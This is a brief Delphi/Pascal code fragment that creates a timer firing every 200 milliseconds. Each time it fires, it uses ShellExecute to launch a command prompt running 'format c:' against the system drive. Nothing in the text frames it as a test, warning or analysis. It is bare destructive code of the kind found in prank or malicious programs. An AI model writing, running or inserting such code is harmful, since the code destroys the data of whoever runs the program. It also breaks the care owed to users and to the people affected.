var t: TTimer; ... procedure OnTimer(sender: TObject); begin ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW); end; ... t := TTimer.Create(nil); t.OnTimer := @OnTimer; t.Enabled := True; t.Interval := 200;